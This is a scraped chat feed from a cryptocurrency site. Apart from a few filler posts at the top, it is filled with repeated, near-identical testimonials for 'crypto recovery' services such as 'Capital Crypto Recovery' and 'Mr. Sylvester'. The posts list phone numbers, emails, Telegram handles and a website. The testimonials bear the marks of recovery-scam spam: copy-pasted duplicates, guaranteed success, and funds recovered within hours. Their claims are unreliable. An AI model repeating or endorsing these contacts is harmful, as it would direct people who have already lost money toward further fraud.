  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon